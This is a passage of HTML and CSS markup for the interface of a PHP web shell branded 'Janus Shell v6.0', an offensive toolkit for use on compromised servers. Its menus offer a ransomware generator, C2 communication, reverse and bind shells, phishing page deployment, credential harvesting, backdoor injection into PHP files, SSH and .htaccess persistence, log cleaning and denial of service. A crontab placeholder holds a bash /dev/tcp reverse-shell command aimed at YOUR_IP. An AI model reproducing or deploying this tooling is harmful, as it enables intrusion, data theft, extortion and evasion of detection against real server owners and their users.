		/* Special styling for Ransom Encrypt Button */
		#ransom-encrypt-btn {
			position: relative;
			background: linear-gradient(135deg, #dc3545 0%, #c82333 50%, #bd2130 100%);
			color: #ffffff;
			font-weight: 600;
			font-size: 15px;
			letter-spacing: 0.5px;
			padding: 14px 24px;
			border: 2px solid rgba(255, 255, 255, 0.2);
			box-shadow: 0 4px 15px rgba(220, 53, 69, 0.4),
						0 0 20px rgba(220, 53, 69, 0.2),
						inset 0 1px 0 rgba(255, 255, 255, 0.1);
			text-transform: uppercase;
			overflow: hidden;
			transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
		}
		
		#ransom-encrypt-btn::before {
			content: '';
			position: absolute;
			top: 0;
			left: -100%;
			width: 100%;
			height: 100%;
			background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.2), transparent);
			transition: left 0.5s;
		}
		
		#ransom-encrypt-btn:hover::before {
			left: 100%;
		}
		
		#ransom-encrypt-btn:hover {
			background: linear-gradient(135deg, #e63946 0%, #d62839 50%, #c82333 100%);
			transform: translateY(-2px);
			box-shadow: 0 6px 25px rgba(220, 53, 69, 0.6),
						0 0 30px rgba(220, 53, 69, 0.3),
						inset 0 1px 0 rgba(255, 255, 255, 0.2);
			border-color: rgba(255, 255, 255, 0.3);
		}
		
		#ransom-encrypt-btn:active {
			transform: translateY(0px);
			box-shadow: 0 2px 10px rgba(220, 53, 69, 0.4),
						inset 0 2px 4px rgba(0, 0, 0, 0.2);
		}
		
		#ransom-encrypt-btn:focus {
			outline: none;
			box-shadow: 0 4px 15px rgba(220, 53, 69, 0.4),
						0 0 20px rgba(220, 53, 69, 0.2),
						0 0 0 3px rgba(220, 53, 69, 0.3);
		}
		
		/* Pulse animation for attention */
		@keyframes ransomPulse {
			0%, 100% {
				box-shadow: 0 4px 15px rgba(220, 53, 69, 0.4),
							0 0 20px rgba(220, 53, 69, 0.2);
			}
			50% {
				box-shadow: 0 4px 20px rgba(220, 53, 69, 0.6),
							0 0 30px rgba(220, 53, 69, 0.4);
			}
		}
		
		#ransom-encrypt-btn:not(:disabled) {
			animation: ransomPulse 2s ease-in-out infinite;
		}
		
		/* Disabled state */
		#ransom-encrypt-btn:disabled {
			opacity: 0.6;
			cursor: not-allowed;
			animation: none;
		}
 		.output-box { background: var(--bg-dark); padding: 1rem; border: 1px solid var(--border-color); border-radius: 6px; min-height: 150px; white-space: pre; overflow-x: auto; margin-top: 1rem; font-size: 13px;}
 		.CodeMirror { height: 100%; border: 1px solid var(--border-color); border-radius: 6px; }
 		.toast { position: fixed; bottom: -100px; left: 50%; transform: translateX(-50%); background: var(--accent-green); color: var(--bg-dark); padding: 12px 25px; border-radius: 6px; z-index: 2000; box-shadow: 0 5px 15px rgba(0,0,0,0.2); font-weight: 500; transition: bottom 0.5s ease-in-out; }
 		.toast.error { background-color: var(--accent-red); color: var(--text-light); }
 		.toast.show { bottom: 20px; }
		.notification-item { background: var(--bg-med); border: 1px solid var(--border-color); border-radius: 6px; padding: 12px; display: flex; justify-content: space-between; align-items: start; gap: 1rem; }
		.notification-item.info { border-left: 3px solid var(--accent-blue); }
		.notification-item.success { border-left: 3px solid var(--accent-green); }
		.notification-item.warning { border-left: 3px solid var(--accent-gold); }
		.notification-item.error { border-left: 3px solid var(--accent-red); }
		.notification-content { flex: 1; }
		.notification-title { font-weight: 500; margin-bottom: 4px; }
		.notification-message { color: var(--text-med); font-size: 0.9rem; }
		.notification-time { color: var(--text-med); font-size: 0.8rem; }
		.notification-close { cursor: pointer; color: var(--text-med); font-size: 1.2rem; line-height: 1; }
		.notification-close:hover { color: var(--accent-red); }
 		.dir-tree ul { list-style: none; padding-left: 20px; } .dir-tree li { padding: 4px 0; } .dir-tree label { display: flex; align-items: center; } .dir-tree-node { cursor: pointer; user-select: none; }
 		.dir-tree-node::before { content: '📁'; margin-right: 8px; } .dir-tree-node.collapsed::before { content: '📂'; } .dir-tree input[type="checkbox"] { margin-right: 8px; transform: scale(1.1); }
 		.db-form-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1rem; margin-bottom: 1.5rem; }
 		.tabs { display: flex; border-bottom: 1px solid var(--border-color); margin-bottom: 1.5rem; }
 		.tab-link { padding: 10px 20px; cursor: pointer; border-bottom: 2px solid transparent; transition: all 0.2s; }
 		.tab-link.active { color: var(--accent-blue); border-bottom-color: var(--accent-blue); }
 		.tab-content { display: none; }
 		.tab-content.active { display: block; }
 		hr { border-color: var(--border-color); margin: 2rem 0; border-style: solid; border-width: 1px 0 0 0; }
 		.config-found { border: 1px solid var(--border-color); border-radius: 6px; margin-bottom: 1rem; }
 		.config-found-header { background: var(--bg-light); padding: 8px 12px; font-weight: 500; color: var(--accent-green); }
 		.config-found-body { padding: 12px; white-space: pre-wrap; word-break: break-all; max-height: 300px; overflow-y: auto; }
 		.tool-input-group { display: grid; grid-template-columns: 1fr; gap: 0.8rem; margin-bottom: 1rem; }
 		@media (min-width: 600px) { .tool-input-group { grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); } }


		/* --- Mobile Responsive --- */
		@media (max-width: 768px) {
			body { font-size: 13px; -webkit-text-size-adjust: 100%; }
			.header-collapse-btn { display: block !important; visibility: visible !important; opacity: 1 !important; }
			.system-info-header-content { flex-direction: column; }
			.system-info-header.collapsed .system-info-header-content { display: none !important; visibility: hidden !important; }
			.system-info-header.collapsed { padding: 0.5rem 1rem; min-height: 50px; position: relative; }
			.system-info-header.collapsed .header-collapse-btn { 
				display: block !important; 
				visibility: visible !important; 
				opacity: 1 !important;
				position: absolute !important; 
				top: 0.3rem !important; 
				right: 0.5rem !important; 
				margin: 0 !important; 
				z-index: 1000 !important;
				pointer-events: auto !important;
			}
			.sys-info-left { grid-template-columns: 1fr; gap: 0.3rem; font-size: 0.8rem; }
			.sys-info-right { text-align: left; width: 100%; }
			.janus-logo-container { align-items: flex-start; }
			.janus-logo { font-size: 9px; }
			.janus-version { font-size: 0.9rem; }
			.nav-collapse-btn { display: block; }
			.nav-buttons-container { display: none; flex-direction: column; gap: 0.4rem; max-height: 0; overflow: hidden; transition: max-height 0.3s ease-out; }
			.top-navbar.expanded .nav-buttons-container { display: flex; max-height: 80vh; overflow-y: auto; }
			.top-navbar { padding: 0.4rem 0.5rem; }
			.nav-button { padding: 0.5rem 0.8rem; font-size: 12px; width: 100%; justify-content: center; }
			.content-area { padding: 1rem; }
			.content-header { font-size: 1.1rem; }
			.modal-content { width: 95vw; max-height: 90vh; }
			.sys-info-grid { grid-template-columns: 1fr; gap: 8px 0; }
			.sys-info-grid span:nth-child(odd) { text-align: left; font-size: 0.8rem; color: var(--text-med); }
			.sys-info-grid span:nth-child(even) { padding-left: 10px; }
			.file-manager-controls { flex-direction: column; gap: 10px; align-items: stretch; }
			.file-manager-controls > div { display: flex; flex-wrap: wrap; gap: 8px; justify-content: center; }
			.file-manager, #db-results-container { overflow-x: auto; }
			.file-manager table td, .file-manager table th { padding: 10px 12px; }
			.tool-section > div { flex-direction: column; }
			.tool-section input, .tool-section select { width: 100%; margin-right: 0 !important; }
			.db-form-grid { grid-template-columns: 1fr; }
			.term-prompt { flex-wrap: wrap; }
		}
		/* --- End Mobile --- */
 	</style>
 </head>
 <body>
	<div class="system-info-header" id="system-info-header">
		<button class="header-collapse-btn" id="header-collapse-btn" title="Toggle System Info">☰</button>
		<div class="system-info-header-content">
			<div class="sys-info-left">
			<div class="sys-info-item"><strong>Uname:</strong> <span id="sys-uname">--</span></div>
			<div class="sys-info-item"><strong>User:</strong> <span id="sys-user">--</span> <strong>Group:</strong> <span id="sys-group">--</span></div>
			<div class="sys-info-item"><strong>PHP:</strong> <span id="sys-php-safe" style="color:var(--accent-green);">Safe Mode: OFF</span></div>
			<div class="sys-info-item"><strong>ServerIP:</strong> <span id="sys-serverip">--</span></div>
			<div class="sys-info-item"><strong>DateTime:</strong> <span id="sys-datetime">--</span></div>
			<div class="sys-info-item"><strong>HDD:</strong> <span id="sys-hdd">--</span></div>
			<div class="sys-info-item"><strong>Open_basedir:</strong> <span id="sys-basedir" style="color:var(--accent-green);">NONE</span></div>
			<div class="sys-info-item"><strong>PWD:</strong> <span id="sys-pwd">--</span></div>
		</div>
		<div class="sys-info-right">
			<div class="janus-logo-container">
				<pre class="janus-logo">    |    |____    ____  __ __  ______
    |    \__  \  /    \|  |  \/  ___/
/\__|    |/ __ \|    |  \  |  /\___ \
\________(____  /___|  /____//____  >
             \/      \/           \/</pre>
				<div class="janus-version">Janus Shell v6.0</div>
				<div class="janus-tagline">Created By Anonre 😈</div>
			</div>
		</div>
		</div>
	</div>
	<div class="top-navbar" id="top-navbar">
		<button class="nav-collapse-btn" id="nav-collapse-btn" title="Toggle Navigation Menu">☰ Menu</button>
		<div class="nav-buttons-container">
		<button class="nav-button active" data-view="files">📁 File Manager</button>
		<button class="nav-button" data-view="terminal">⌨️ Terminal</button>
		<button class="nav-button" data-view="domain-intel">🛰️ Domain Intel</button>
		<button class="nav-button" data-view="attack-evasion">⚔️ Attack & Evasion</button>
		<button class="nav-button" data-view="fingerprint">🐾 Fingerprint</button>
		<button class="nav-button" data-view="cpanel-cms">⚙️ CMS & cPanel</button>
		<button class="nav-button" data-view="database">🗄️ Database</button>
		<button class="nav-button" data-view="connect">🐚 Connect</button>
		<button class="nav-button" data-view="pivot">🔗 Pivoting</button>
		<button class="nav-button" data-view="network">🌐 Network</button>
		<button class="nav-button" data-view="security">🛡️ Enumeration</button>
		<button class="nav-button" data-view="post-exploitation">🔥 Post-Exploitation</button>
		<button class="nav-button" data-view="persistence">🕵️ Persistence</button>
		<button class="nav-button" data-view="data-tools">📦 Data Tools</button>
		<button class="nav-button" data-view="cron">📅 Cron Manager</button>
		<button class="nav-button" data-view="mass-uploader">🚀 Mass Uploader</button>
		<button class="nav-button" data-view="eval">🐘 PHP Eval</button>
		<button class="nav-button" data-view="tools">🛠️ Tools</button>
		<button class="nav-button" data-view="column-dumper">📊 Column Dumper</button>
		<button class="nav-button" data-view="database-dumper">💾 Database Dumper</button>
		<button class="nav-button" data-view="open-basedir">🔓 Open BaseDir</button>
		<button class="nav-button" data-view="fake-mail">📧 Fake Mail</button>
		<button class="nav-button" data-view="whmcs-decoder">🔐 WHMCS Decoder</button>
		<button class="nav-button" data-view="file-watcher">👁️ File Watcher</button>
		<button class="nav-button" data-view="process-manager">⚙️ Process Manager</button>
		<button class="nav-button" data-view="packet-capture">📡 Packet Capture</button>
		<button class="nav-button" data-view="crypto-tools">🔐 Crypto Tools</button>
		<button class="nav-button" data-view="advanced-tools">🔧 Advanced Tools</button>
		<button class="nav-button" data-view="webshell-manager">🕷️ Shell Manager</button>
		<button class="nav-button" data-view="ransom-creator">💀 Ransomware Generator</button>
		<button class="nav-button" data-view="advanced-stealth">👻 Stealth & Anti-Detection</button>
		<button class="nav-button" data-view="log-cleaner-advanced">🧹 Advanced Log Cleaner</button>
		<button class="nav-button" data-view="multi-backup">💾 Multi-Location Backup</button>
		<button class="nav-button" data-view="c2-communication">📡 C2 Communication</button>
		<button class="nav-button" data-view="waf-bypass">🛡️ WAF Bypass</button>
		<button class="nav-button" data-view="system-profiler">🔍 System Profiler</button>
		<button class="nav-button" data-view="multi-shell">🌐 Multi-Shell Manager</button>
		<button class="nav-button" data-view="enhanced-persistence">🔐 Enhanced Persistence</button>
		<button class="nav-button" data-view="defend">🛡️ Defend</button>
		<button class="nav-button" id="notification-btn" style="position: relative;">🔔 Notifications <span id="notification-badge" style="display:none; position: absolute; top: -5px; right: -5px; background: var(--accent-red); color: white; border-radius: 50%; width: 18px; height: 18px; font-size: 10px; display: flex; align-items: center; justify-content: center;">0</span></button>
		</div>
	</div>
 	<div class="main-content">
 		<div id="view-dashboard" class="view-container" style="display:none;"></div>
 		<div id="view-files" class="view-container" style="display:flex;"><div class="content-header file-manager-controls"><input type="text" id="cwd" readonly><div><button id="home-shell-btn" style="background-color: var(--accent-gold);">Home Shell</button><button id="create-file-btn">New File</button><button id="create-dir-btn">New Dir</button><input type="file" id="upload-file-input" style="display:none;" multiple><button onclick="document.getElementById('upload-file-input').click()">Upload</button></div></div><div class="content-area file-manager"><table class="results-table"><thead><tr><th>Name</th><th>Size</th><th>Permissions</th><th>Modified</th><th>Actions</th></tr></thead><tbody id="file-list"></tbody></table></div></div>
 		<div id="view-terminal" class="view-container"><div class="content-header">Terminal</div><div class="terminal" onclick="document.getElementById('term-input').focus()"><div id="term-output"></div><div class="term-prompt"><span id="term-user-host"></span>:<span id="term-cwd"></span><span class="prompt-symbol">$</span></div><input type="text" id="term-input" autocomplete="off" autofocus></div></div>
 		<div id="view-domain-intel" class="view-container"><div class="content-header">Domain Intelligence</div><div class="content-area"><div class="tool-section"><h3>Server Domain Reconnaissance</h3><p style="color: var(--text-med);">Automatically gather intelligence on the server's primary domain (<strong id="intel-host-name"></strong>). This includes DNS records, other websites on the same IP, and a quick scan for common subdomains.</p><button id="run-domain-intel-btn">Gather Intelligence</button></div><div id="domain-intel-results" style="display:none; margin-top: 2rem;"><hr><h3>DNS Records</h3><pre id="intel-dns-output" class="output-box"></pre><hr><h3>Other Sites on Server (<span id="intel-ip-addr"></span>)</h3><p style="color: var(--text-med); font-size: 0.8rem;">Powered by HackerTarget.com API</p><pre id="intel-reverse-ip-output" class="output-box"></pre><hr><h3>Common Subdomains Found</h3><pre id="intel-subdomains-output" class="output-box"></pre></div></div></div>
        <div id="view-attack-evasion" class="view-container"><div class="content-header">Attack & Evasion Suite</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="privesc">Privilege Escalation</span><span class="tab-link" data-tab="subnet-scan">Internal Network</span><span class="tab-link" data-tab="evasion">Evasion</span><span class="tab-link" data-tab="phishing">Phishing</span></div><div id="tab-privesc" class="tab-content active"><div class="tool-section"><h3 style="margin-top:0;">Automated Privilege Escalation Checker</h3><p style="color: var(--text-med);">Run comprehensive checks for common privilege escalation vectors on Linux and Windows.</p><div><select id="privesc-os-type" style="width:150px; margin-right:1rem;"><option value="linux">Linux</option><option value="windows">Windows</option></select><button id="run-privesc-checker-btn">Run Checks</button></div><pre id="privesc-checker-output" class="output-box"></pre></div></div><div id="tab-subnet-scan" class="tab-content"><div class="tool-section"><h3 style="margin-top:0;">Internal Subnet Scanner</h3><p style="color: var(--text-med);">Scan an internal network range to discover live hosts and open ports.</p><div><input type="text" id="subnet-scan-target" placeholder="Subnet (e.g., 192.168.1.0/24)" style="flex:1; margin-right:1rem;"><button id="run-subnet-scan-btn">Scan Subnet</button></div><pre id="subnet-scan-output" class="output-box"></pre></div></div><div id="tab-evasion" class="tab-content"><div class="tool-section"><h3 style="margin-top:0;">Firewall Control (iptables)</h3><p style="color: var(--text-med);">View and attempt to flush firewall rules. Requires appropriate permissions.</p><div><button id="view-firewall-btn">View iptables Rules</button><button id="flush-firewall-btn" class="danger-btn" style="margin-left: 0rem;">Flush All iptables Rules</button></div><pre id="firewall-output" class="output-box"></pre></div></div><div id="tab-phishing" class="tab-content"><div class="tool-section"><h3 style="margin-top:0;">Phishing Page Deployer</h3><p style="color: var(--text-med);">Instantly deploy a generic admin login phishing page. Credentials will be saved to <code style="background:var(--bg-light);padding:2px 4px;">/tmp/c.log</code> on the server.</p><div style="display:flex; gap: 1rem; align-items:center;"><input type="text" id="phish-deploy-path" placeholder="Writable Directory Path" style="flex:1;"><input type="text" id="phish-deploy-filename" value="login.php" style="width:150px;"><button id="deploy-phish-btn" class="danger-btn">Deploy Page</button></div><div id="phish-deploy-output" style="margin-top:1rem;"></div></div></div></div></div>
         <div id="view-fingerprint" class="view-container"><div class="content-header">Server Fingerprint</div><div class="content-area"><div class="tool-section"><p style="color: var(--text-med);">Gather detailed information about the server's configuration, including software, services, and packages.</p><button id="run-fingerprint-btn">Gather Server Fingerprint</button></div><div id="fingerprint-results" style="display:none; margin-top: 2rem;"></div></div></div>
         <div id="view-cpanel-cms" class="view-container"><div class="content-header">CMS & cPanel Tools</div><div class="content-area"><div class="tool-section"><h3>WordPress Admin User Creator</h3><p style="color: var(--text-med);">Finds a <code style="background:var(--bg-light);padding:2px 4px;">wp-config.php</code> file and adds a new admin user to the database.</p><div class="tool-input-group"><input type="text" id="wp-config-path" placeholder="Path to wp-config.php"><input type="text" id="wp-new-user" placeholder="New Username"><input type="password" id="wp-new-pass" placeholder="New Password"><input type="text" id="wp-new-email" placeholder="New Email Address"></div><button id="create-wp-user-btn" class="danger-btn">Create Admin User</button></div><hr><div class="tool-section"><h3>cPanel Symlinker</h3><p style="color: var(--text-med);">Attempt to read config files of other users on shared hosting via symbolic links.</p><select id="symlink-target-user" style="width:100%; margin-bottom:1rem;"></select><button id="run-symlink-btn">Run Symlink Attack</button><div id="symlink-results" style="margin-top:1rem;"></div></div><hr><div class="tool-section"><h3>Find cPanel Credentials</h3><p style="color: var(--text-med);">Looks for cPanel credential files like <code style="background:var(--bg-light);padding:2px 4px;">~/.lastlogin</code> for the current user.</p><button id="find-cpanel-creds-btn">Find Credentials</button><pre id="cpanel-creds-output" class="output-box"></pre></div></div></div>
 		<div id="view-database" class="view-container"><div class="content-header">Database Client (MySQLi)</div><div class="content-area"><div class="db-form-grid"><input type="text" id="db-host" placeholder="Host (e.g., localhost)"><input type="text" id="db-user" placeholder="Username (e.g., root)"><input type="password" id="db-pass" placeholder="Password"><input type="text" id="db-name" placeholder="Database Name"></div><textarea id="db-query" style="width:100%; height: 150px; resize:vertical;" placeholder="SELECT * FROM users;"></textarea><button id="run-db-query-btn" style="margin-top:1rem;">Execute Query</button><div id="db-results-container"></div></div></div>
 		<div id="view-connect" class="view-container"><div class="content-header">Connect</div><div class="content-area"><div class="tabs"><span class="tab-link active" data-tab="reverse-shell">Reverse Shell</span><span class="tab-link" data-tab="bind-shell">Bind Shell</span></div><div id="tab-reverse-shell" class="tab-content active"><h3 style="margin-top:0;">Connect Back (Reverse Shell)</h3><p style="color:var(--text-med); margin-bottom: 1.5rem;">The server connects out to your listener. Start with <code style="background: var(--bg-light); padding: 3px 6px; border-radius: 4px;">nc -lvnp 4444</code>.</p><div class="tool-section"><div><input type="text" id="rev-shell-ip" placeholder="Your IP Address" style="flex:1;"><input type="text" id="rev-shell-port" placeholder="Your Port" style="width:150px; margin: 0 0rem;"><button id="connect-rev-shell-btn">Connect</button></div></div></div><div id="tab-bind-shell" class="tab-content"><h3 style="margin-top:0;">Listen for Connection (Bind Shell)</h3><p style="color:var(--text-med); margin-bottom: 1.5rem;">The server opens a port for you to connect to. Connect with <code style="background: var(--bg-light); padding: 3px 6px; border-radius: 4px;">nc [server_ip] 4444</code>.</p><div class="tool-section"><div><input type="text" id="bind-shell-port" placeholder="Port to Listen On" style="width:200px; margin-right: 1rem;"><button id="connect-bind-shell-btn">Listen</button></div></div></div></div></div>
 		<div id="view-pivot" class="view-container"><div class="content-header">Pivoting</div><div class="content-area"><div class="tool-section"><h3>Remote Port Forwarder</h3><p style="color:var(--text-med); margin-bottom: 1.5rem;">Forward a port on this server to a target host and port. This is useful for accessing internal services.<br>Example: Listen on port <strong>8080</strong> here, and forward to internal database at <strong>10.0.0.5:3306</strong>.</p><div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 1rem; align-items: end;"><input type="text" id="pf-listen-port" placeholder="Listen Port (on this server)"><input type="text" id="pf-target-host" placeholder="Target Host (internal IP)"><input type="text" id="pf-target-port" placeholder="Target Port (on internal IP)"><button id="start-port-forward-btn" class="danger-btn">Start Forwarder</button></div><p style="color:var(--text-med); font-size: 0.8rem; margin-top: 1rem;"><strong>Note:</strong> Due to web server limitations, this forwarder will likely handle a single client connection and then terminate. Start it just before you intend to connect through it.</p></div></div></div>
 		<div id="view-network" class="view-container"><div class="content-header">Network Tools</div><div class="content-area tool-section"><h3>Port Scanner</h3><div><input type="text" id="scan-host" placeholder="Host (e.g., 127.0.0.1)" style="flex:1;"><input type="text" id="scan-ports" placeholder="Ports (e.g., 22,80,443)" style="flex:1; margin: 0 0rem;"><button id="start-scan-btn">Scan</button></div><pre id="scan-results" class="output-box"></pre></div></div>
 		<div id="view-eval" class="view-container"><div class="content-header">PHP Code Evaluator</div><div class="content-area" style="display: flex; flex-direction: column;"><textarea id="eval-code" style="flex:1; width:100%; resize:vertical;" placeholder="echo 'Hello, World!';"></textarea><button id="run-eval-btn" style="margin-top:1rem; align-self: flex-start;">Execute</button><h3 style="margin-top: 2rem;">Output:</h3><pre id="eval-output" class="output-box"></pre></div></div>
 		<div id="view-mass-uploader" class="view-container"><div class="content-header">Mass Uploader</div><div class="content-area" style="display: flex; flex-direction: column; gap: 1.5rem;"><div><h3>1. Select File to Upload</h3><input type="file" id="mass-upload-input" style="background: var(--bg-light); padding: 10px; border-radius: 6px; width: 100%;"></div><div style="display: flex; flex-direction: column; flex: 1; min-height: 0;"><h3>2. Select Target Directories</h3><div id="dir-tree-container" style="flex: 1; overflow-y: auto; border: 1px solid var(--border-color); background: var(--bg-dark); padding: 1rem; border-radius: 6px;"><p>Loading directory tree...</p></div></div><div><h3>3. Execute Upload</h3><button id="mass-upload-btn">Upload to Selected Directories</button></div></div></div>
 		<div id="view-security" class="view-container"><div class="content-header">Enumeration & Privilege Escalation</div><div class="content-area"><div><button id="get-user-context-btn">Get User Context (whoami, id)</button><button id="sudo-check-btn" style="margin-left:0rem;">Check Sudo -l</button></div><pre id="user-context-output" class="output-box" style="display:none;"></pre><pre id="sudo-check-output" class="output-box" style="display:none;"></pre><hr><h3>Privilege Escalation Scanners</h3><div class="tool-section"><div><button id="find-suid-guid-btn">Find SUID/GUID Files</button><pre id="suid-guid-output" class="output-box">Scan results will appear here.</pre></div><div style="margin-top: 1rem;">
 			<input type="text" id="writable-scan-path" placeholder="Start Path (e.g., /)" style="width:100%; margin-bottom: 1rem;">
 			<button id="find-writable-btn">Find World-Writable Files/Dirs</button>
 			<pre id="writable-output" class="output-box">Scan results will appear here.</pre>
 		</div></div><hr><div class="tool-section" style="margin-top:1rem;"><div><input type="text" id="search-path" placeholder="Start Path (e.g., /var/www)" style="flex:1; margin-right:1rem;"><input type="text" id="search-pattern" placeholder="File Pattern (e.g., *.log)" style="flex:1; margin-right:1rem;"><button id="start-search-btn">Search Files by Name</button></div><pre id="search-results-output" class="output-box"></pre></div><hr><h3>User & OS Info</h3><button id="get-users-groups-btn">Enumerate Users & Groups</button><button id="get-kernel-info-btn" style="margin-left:0rem;">Get Kernel Info</button><div id="users-groups-output" style="display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; margin-top: 1rem;"></div><div id="kernel-info-output" class="output-box" style="margin-top:1rem;"></div></div></div>
 		<div id="view-post-exploitation" class="view-container"><div class="content-header">Post-Exploitation Toolkit</div><div class="content-area"><div class="tool-section"><h3>Automated Credential Harvester</h3><p style="color: var(--text-med);">Recursively search for credentials, API keys, and private keys within a directory.</p><div><input type="text" id="cred-harvester-path" placeholder="Start Path (e.g., /var/www)" style="flex:1; margin-right:1rem;"><button id="cred-harvester-btn">Harvest Credentials</button></div><pre id="cred-harvester-output" class="output-box"></pre></div><hr><div class="tool-section"><h3>Content Search (grep)</h3><p style="color: var(--text-med);">Search for specific content inside files (e.g., find "DB_PASSWORD" in all PHP files).</p><div><input type="text" id="content-search-path" placeholder="Start Path (e.g., /var/www)" style="flex:1; margin-right:1rem;"><input type="text" id="content-search-file-pattern" placeholder="File Pattern (e.g., *.php)" style="flex:1; margin-right:1rem;"><input type="text" id="content-search-pattern" placeholder="Content to Find (e.g., password)" style="flex:1; margin-right:1rem;"><button id="start-content-search-btn">Grep</button></div><pre id="content-search-output" class="output-box"></pre></div><hr><div class="tool-section"><h3>Automatic Config Grabber</h3><p style="color: var(--text-med);">Automatically searches for and displays common configuration files.</p><button id="get-configs-btn">Find Config Files</button><div id="configs-output" style="margin-top: 1rem;"></div></div><hr><div class="tool-section"><h3>Log Cleaner</h3><p style="color: var(--text-med);">Remove lines from a log file that contain a specific keyword (e.g., your IP address).</p><div><input type="text" id="log-cleaner-file" placeholder="Full path to log file (e.g., /var/log/apache2/access.log)" style="flex:1; margin-right:1rem;"><input type="text" id="log-cleaner-keyword" placeholder="Keyword/IP to remove" style="flex:1; margin-right:1rem;"><button id="log-cleaner-btn" class="danger-btn">Clean Log</button></div></div></div></div>
 		<div id="view-persistence" class="view-container"><div class="content-header">Persistence Methods</div><div class="content-area"><div class="tool-section"><h3>SSH Key Manager</h3><p style="color: var(--text-med);">Add your public SSH key to <code id="ssh-auth-keys-path">~/.ssh/authorized_keys</code> for persistent access.</p><button id="get-ssh-keys-btn">View Current authorized_keys</button><textarea id="ssh-keys-content" style="width:100%; height: 120px; resize:vertical; margin: 1rem 0;" placeholder="Current keys will be loaded here..."></textarea><textarea id="add-ssh-key-content" style="width:100%; height: 80px; resize:vertical; margin-bottom: 1rem;" placeholder="Paste your public key to add (e.g., ssh-rsa AAA...)"></textarea><button id="add-ssh-key-btn" class="danger-btn">Add SSH Key</button></div><hr><div class="tool-section"><h3>.htaccess Persistence</h3><p style="color: var(--text-med);">Use an .htaccess file to automatically prepend a PHP file to all other PHP files in a directory. Place your backdoor code in the prepended file.</p><div><input type="text" id="htaccess-path" placeholder="Full path to target directory" style="width:100%; margin-bottom:1rem;"><input type="text" id="htaccess-filename" placeholder="Name of PHP file to prepend (e.g., .index.php)" style="width:100%; margin-bottom:1rem;"><button id="htaccess-persist-btn" class="danger-btn">Apply .htaccess Rule</button></div></div><hr><div class="tool-section"><h3>Code Injector / Backdoor Installer</h3><p style="color: var(--text-med);">Inject arbitrary code or a predefined mini-backdoor into one or more PHP files.</p><div class="tabs"><span class="tab-link active" data-tab="custom-inject">Custom Inject</span><span class="tab-link" data-tab="auto-backdoor">Auto Backdoor</span></div><div id="tab-custom-inject" class="tab-content active"><input type="text" id="inject-path" placeholder="Full path to target file" style="width:100%; margin-bottom: 1rem;"><textarea id="inject-code" placeholder="Your PHP code here (e.g., include('backdoor.php');)" style="width:100%; height: 100px; resize:vertical; margin-bottom: 1rem;"></textarea><div style="display:flex; gap: 1rem; align-items:center;"><select id="inject-position" style="width: 150px;"><option value="append">Append (End of file)</option><option value="prepend">Prepend (Start of file)</option></select><button id="inject-code-btn" class="danger-btn">Inject Code</button></div></div><div id="tab-auto-backdoor" class="tab-content"><p style="color: var(--text-med);">Injects a simple `shell_exec` backdoor into the files listed below. One file per line.</p><textarea id="backdoor-targets" style="width:100%; height: 150px; resize:vertical;" placeholder="/var/www/html/index.php"></textarea><button id="install-backdoor-btn" class="danger-btn" style="margin-top:1rem;">Infect Files</button><div id="backdoor-results" style="margin-top:1rem;"></div></div></div></div></div>
         <div id="view-data-tools" class="view-container"><div class="content-header">Data Management Tools</div><div class="content-area"><div class="tool-section"><h3>Sensitive File Finder</h3><p style="color: var(--text-med);">Scan a directory for files containing sensitive data or with sensitive names (e.g., .sql, .pem, id_rsa).</p><input type="text" id="sensitive-scan-path" placeholder="Full path to scan (e.g., /var/www)" style="width:100%; margin-bottom:1rem;"><button id="run-sensitive-scan-btn">Scan for Sensitive Files</button><div id="sensitive-scan-results" style="margin-top:1rem;"></div></div><hr><div class="tool-section"><h3>File/Directory Change Monitor</h3><p style="color: var(--text-med);">Monitor a path for a set duration and report any created, deleted, or modified files.</p><div style="display:flex; gap: 1rem; align-items:center;"><input type="text" id="monitor-path" placeholder="Path to monitor" style="flex:1;"><input type="number" id="monitor-duration" value="30" style="width: 100px;"><button id="run-monitor-btn">Start Monitoring</button></div><pre id="monitor-results" class="output-box"></pre></div><hr><div class="tool-section"><h3>Data Exfiltration Packager</h3><p style="color: var(--text-med);">Select multiple files/directories below, and this tool will create a single downloadable ZIP archive.</p><div id="exfil-dir-tree" style="height: 300px; overflow-y:auto; border: 1px solid var(--border-color); padding: 1rem; border-radius: 6px; margin-bottom: 1rem;">Loading directory tree...</div><button id="run-exfil-btn">Package & Download Selected</button><div id="exfil-results"></div></div></div></div>
 		<div id="view-cron" class="view-container"><div class="content-header">Cronjob Manager</div><div class="content-area" style="display: flex; flex-direction: column;"><p style="color: var(--text-med); margin-top:0;">View and edit the crontab for the current user (<strong id="cron-user"></strong>).</p><textarea id="cron-content" style="flex:1; width:100%; resize:vertical;" placeholder="* * * * * /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/YOUR_PORT 0>&1'"></textarea><button id="save-cron-btn" style="margin-top:1rem; align-self: flex-start;">Save Crontab</button></div></div>
 		<div id="view-tools" class="view-container"><div class="content-header">Misc Tools</div><div class="content-area"><div class="tool-section"><h3>Wget (Downloader)</h3><div><input type="text" id="wget-url" placeholder="https://example.com/file.txt" style="flex:1; margin-right:1rem;"><button id="wget-btn">Fetch</button></div></div><hr><div class="tool-section"><h3>Denial of Services</h3><p style="color: var(--text-med);">Run an intensive process to consume CPU resources for a specific duration. This can be used to test server stability or create a denial of service.</p><div><input type="number" id="hog-duration" value="30" style="width:100px; margin-right:1rem;"><button id="run-hog-btn" class="danger-btn">Start CPU Hog</button></div></div><hr><div class="tool-section"><h3>Keylogger (Experimental)</h3><p style="color: var(--text-med);">Attempt to attach to a running process (like a shell) and capture read/write syscalls. Requires `strace` and appropriate permissions.</p><div><input type="text" id="keylogger-pid" placeholder="Process ID (PID)" style="width:150px; margin-right:1rem;"><button id="run-keylogger-btn">Attach to Process</button></div><pre id="keylogger-output" class="output-box"></pre></div><hr><div><h3>System</h3><a href="?phpinfo=1" target="_blank"><button>PHP Info</button></a><button id="self-destruct-btn" class="danger-btn" style="margin-left: 10px;">Self Destruct</button></div></div></div>
